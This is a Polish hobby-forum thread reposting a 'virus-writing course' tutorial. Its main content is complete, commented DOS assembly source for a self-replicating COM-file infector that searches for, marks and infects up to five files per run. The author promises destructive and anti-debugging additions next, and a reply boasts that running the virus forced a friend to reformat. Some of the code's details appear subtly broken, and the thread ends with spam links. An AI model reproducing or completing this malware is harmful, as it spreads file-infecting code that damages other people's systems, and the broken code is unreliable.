![]() |
![]() | Pisanie wirusów # 2 | ![]() |
Bartek
Billie Joe Armstrong
![]()
![]() |
![]() |
Możesz zamknąć na chwilę oczy i szybko to przeczytać:
![]() "!! UWAGA !! Nie ponoszę żadnej odpowiedzialności za szkody spowodowane jakimkolwiek praktykowaniem informacji zawartych w tym FAQ." Materiały zamieszczone są wyłącznie w celach edukacyjnych. Możesz już otworzyć oczy, PRZESZŁO ![]() Witam w kolejnej części FAQ poświęconemu WIRUSOM. Jest to pewnego rodzaju KURS PISANIA WIRUSÓW. Jeśli to czytasz, tzn. że spodobała Ci się pierwsza część z tego cyklu. Jeśli jej nie przeczytałeś, to lepiej tam zerknij. Tekst ten można dowolnie kopiować, zamieszczać na swoich stronach internetowych, publikować w dowolnych czasopismach, itp. Zezwalam również na małą modyfikacje (poprawienie błędów ortograficznych, itp.). Proszę tylko o zaznaczenie autorstwa tekstu, czyli dodanie napisu BY BINBOY. 1. ZACZYNAMY W tym FAQ zajmiemy się jeszcze wirusami plików COM. Znamy już budowę takiego pliku. Wiemy jak one działają. Potrafimy również wykonać podstawowe operacje w assemblerze, tzn. dopisywać coś do pliku, odczytywać plik, szukać pliku, zmieniać jego datę i czas ostatniej modyfikacji i wiele innych. Jednak nasze dotychczas napisane wirusy były mało efektywne. Uszkadzały trwale może bardzo ważne dane. Chyba nie oto nam chodziło, nie ? ![]() 2. KILKA KOMEND Zanim zaczniemy pisać naszego nowego wirusa przypomnę kilka komend, które będą potrzebne do jego stworzenia: MOVSB,MOVSW - instrukcja kopiuje do komórki ES:DI wartość komórki DS:SI oraz zmniejsza DI i SI o rozmiar komórki, jeśli znacznik D jest ustawiony lub zwiększa gdy D jest wyzerowany. LEA rej,adr - instrukcja oblicza offset adresu drugiego argumentu i zapamiętuje go w pierwszym operandzie. SUB X,Y - instrukcja powoduje odjecie wartości rejestru lub stałej Y od X i zapamiętanie wyniku w rejestrze X 3. DO ROBOTY Zastanówmy się, jak ma działać nasz wirus. Powinien wykonywać on kilka kroków: a) Odnaleźć plik do infekcji b) Sprawdzić, czy czasem nie jest już on zainfekowany c) Dokleić się na jego końcu d) Zapamiętać jego trzy pierwsze bajty e) Zmodyfikować te pierwsze bajty tak, by wskazywały na kod wirusa Dopisywanie wirusa jest bardzo proste, jest jednak pewna pułapka, na którą wszyscy początkujący się łapią. Nie wolno podawać adresów stałych, np. nie można przy funkcji wyszukującej plik podać nazwę tego pliku jako np. MOV DX,OFFSET Maska Kompilator asemblerowy kompilując tę instrukcję "OFFSET Maska" zamieni ją na stałą wskazującą na zmienną Maska, np. 10H. Teraz jeśli wirus dopisze się do pliku o wielkości np. 100H, to pod adresem 10H będzie znajdował się kod programu, a nie nazwa. Nazwa szukanego pliku będzie znajdowała się pod adresem 110H. Nasuwa się teraz pytanie. Skąd możemy wiedzieć ile trzeba dodać? Odpowiedź jest prostsza pewnie niż myślisz. Do tego celu trzeba posłużyć się instrukcją CALL. Po wykonaniu instrukcji CALL na stos zostaje położony adres aktualnie wykonywanej komendy (IP), a dokładniej komendy, od której ma być dalej wykonywany program, po to by po instrukcji RET procesor wiedział dokąd ma skoczyć (wrócić). Jeśli więc napiszemy: CALL Etyk1 Etyk1: POP AX To w rejestrze AX znajdzie się adres (IP) aktualnie wykonywanego rozkazu (czyli OFFSET Etyk1). Jeśli już wiemy ile mamy dodawać do każdego adresu napisanie wirusa jest bardzo proste. Po zdjęciu ze stosu IP musimy go jednak gdzieś zapisać. Można to zrobić w jakiejś zmiennej, ale to bardzo skomplikuje kod wirusa, a można też zapamiętać go w rejestrze BP. Rejestr ten nie jest zmieniany przez żadną funkcję i dopóki sami nie zmienimy jego wartości będzie zawierał adres punktu startu. 4. WIRUSSS Przejdźmy do rzeczy. Poniżej znajduje się kod wirusa wygenerowanego przez program IVP i zmodyfikowanego przeze mnie tak by był prostszy. Przejrzyj go dokładnie. Został on wzbogacony komentarzami by ułatwić jego zrozumienie. POCZĄTEK: CODE SEGMENT PUBLIC 'CODE' ASSUME CS:CODE ORG 100H Start: DB 0E9H,2,0 ; skok do następnej komendy DW 'XX' ; identyfikator pliku Virus: CALL RealCode ; skok do RealCode RealCode: POP BP ; zdjęcie IP ze stosu SUB BP,3 ; 3 to długość instrukcji CALL RealCode ; teraz mamy w rejestrze BP wartość, ; którą musimy dodawać do każdego z ; adresów LEA SI,OFFSET [BP+OldJump] ; do SI adres OldJUMP MOV DI,100H ; do DI adres 100H PUSH DI ; na stos wartość 100H ; by zadziałała instrukcja RET MOVSB ; przekopiowanie bajtu MOVSW ; i jeszcze dwóch bajtów MOVSW ; i kolejne dwa bajty ; z SI do DI. Teraz na początku ; programu znajduje się jego ; oryginalny KOD MOV [BP+Counter],BYTE PTR 0 ; wyzerowanie licznika zarażeń LEA DX,[BP+OFFSET ComFileSpec] ; do DX nazwa szukanego pliku CALL FindFirst ; szukanie i zarażenie pliku RET ; powrót pod 100H i wykonanie ; oryginalnego programu FindFirst: ; szukanie pliku CMP [BP+Counter],5 ; jeśli zainfekowane JA Quit ; więcej niż 5 plików to QUIT MOV AH,4EH ; szukanie pliku MOV CX,7 ; z dowolnymi atrybutami FindNext: INT 21H JC Quit ; jeśli nie znaleziono, to QUIT CALL Infection ; jeśli znaleziono, to infekcja FindNext2: MOV AH,4FH ; szukanie kolejnej ofiary ![]() JMP FindNext Quit: RET Infection: ; infekcja zbioru MOV AL,0H ; do AL 0, czyli CALL Open ; otwarcie zbioru tylko do ; odczytu MOV AH,3FH ; przeczytanie MOV CX,1AH ; 1A bajtów LEA DX,[BP+OFFSET Buffer] ; i zapamiętanie ich w buforze INT 21H MOV AH,3EH ; zamknięcie pliku INT 21H CheckCOM: MOV BX,WORD PTR [BP+80H+1AH] ; do BX wielkość zbioru z ; bloku DTA CMP WORD PTR CS:[BP+Buffer+3],'XX' ; jeśli 4 i 5 bajt zbioru ; to XX JE QuitInfect ; tzn. że jest on już zarażony ; wiec koniec infekcji JMP InfectCOM ; skok do INFECTCOM QuitInfect: RET InfectCOM: SUB BX,3 ; zmniejszenie wielkości ; zbioru o 3, bo tyle zajmuje ; polecenie JMP LEA SI,[BP+Buffer] ; do SI adres bufora LEA DI,[BP+OldJump] ; do DI adres OLDJUMP MOVSB ; / przekopiowanie trzech MOVSW ;- pierwszych bajtów pliku MOVSW ;/ do zmiennej OLDJUMP MOV [BP+Buffer],BYTE PTR 09EH ; zamiana pierwszego bajtu w ; buforze na 9E, czyli JMP MOV WORD PTR [BP+Buffer+1],BX ; dalej zapisanie wielkoci ; zbioru. MOV WORD PTR [BP+Buffer+3],'XX' ; za tym wszystkim w 4 i 5 ; bajcie zapisanie XX, czyli ; identyfikator zarażenia FinishInfection: MOV AL,2 ; AL=2 czyli CALL Open ; otwarcie zbioru do odczytu i zapisu MOV AH,40H ; zapisanie w pliku LEA DX,[BP+Buffer] ; z bufora MOV CX,5 ; 5 bajtów INT 21H JC CloseFile ; jeśli błąd, to zamknij plik MOV AL,2 ; AL=2, czyli CALL Move_fp ; ustawienie wskaźnika na ; koniec pliku MOV AH,40H ; zapisanie MOV CX,EOF-Virus ; (koniec - początek) bajtów LEA DX,[BP+OFFSET Virus] ; począwszy od początku wirusa INT 21H INC [BP+Counter] ; zwiększenie licznika ; zarażonych zbiorów CloseFile: MOV AH,3EH ; zamknięcie dojścia do pliku INT 21H RET Move_fp: ; zmiana położenia wskaźnika MOV AH,42H ; w pliku XOR CX,CX XOR DX,DX INT 21H RET Open: MOV AH,3DH ; otwarcie pliku MOV DX,9EH INT 21H XCHG AX,BX RET ComFileSpec DB "*.COM",0 ; szukany plik OldJump DB 0CDH,020H,0,0,0 ; zapamiętane 3-pierwsze bajty EFO EQU $ ; zapisywana jest część wirusa aż do EOF. Zmienne poniżej nie są ; zapisywane w pliku, gdyż tylko zwiększyłyby jego objętość, a ; ich wartości nie są ważne - bufory Counter DB 0 ; licznik zarażeń Buffer DB 01AH DUB (?) ; bufor EOV EQU $ END START 5. KONIEC Wirus ten jest bardzo prosty i ma pewne błędy. Jego ofiary zmieniają swoją datę i czas ostatniej modyfikacji. Można go o to właśnie udoskonalić. Na razie to wszystko. W kolejnej części tego FAQ zajmę się jeszcze plikami COM. Udoskonalimy kod naszego wirusa. Dodamy procedurę destrukcyjną, która uruchomi się konkretnego dnia. Zabezpieczymy również naszego wirusa przed oglądaniem go disassemblerami i próbami jego debuggowania. |
|||||||||||||
Post został pochwalony 0 razy
|
![]() |

![]() | ![]() |
Vinyl
Mike Drint
![]()
![]() |
![]() |
ooo fajnie dobrze wiedziec
|
|||||||||||||
Post został pochwalony 0 razy
|
![]() |
![]() | ![]() |
Bartek
Billie Joe Armstrong
![]()
![]() |
![]() |
no ale igor musiał formata robic jak mu to puściłem
|
|||||||||||||
Post został pochwalony 0 razy
|
![]() |
![]() | ![]() |
Vinyl
Mike Drint
![]()
![]() |
![]() |
to dobrze ze hoc jedna osoba to czyta
|
|||||||||||||
Post został pochwalony 0 razy
|
![]() |
![]() | ![]() |
Bartek
Billie Joe Armstrong
![]()
![]() |
![]() |
hyba masz bana odrazu 5/5
|
|||||||||||||
Post został pochwalony 0 razy
|
![]() |
![]() | ![]() |
Bunjo46
Nowy
![]() |
![]() |
ok, check this
[link widoczny dla zalogowanych] |
|||||||||||||
Post został pochwalony 0 razy
|
![]() |
![]() | ![]() |
Deleelem29
Nowy
![]() |
![]() |
These girls are mad!
[link widoczny dla zalogowanych] |
|||||||||||||
Post został pochwalony 0 razy
|
![]() |
![]() | Pisanie wirusów # 2 | ![]() |
|
||
![]() |
![]() |
fora.pl - załóż własne forum dyskusyjne za darmo
Powered by phpBB © 2001-2004 phpBB Group
phpBB Style created by phpBBStyles.com and distributed by Styles Database.
Powered by phpBB © 2001-2004 phpBB Group
phpBB Style created by phpBBStyles.com and distributed by Styles Database.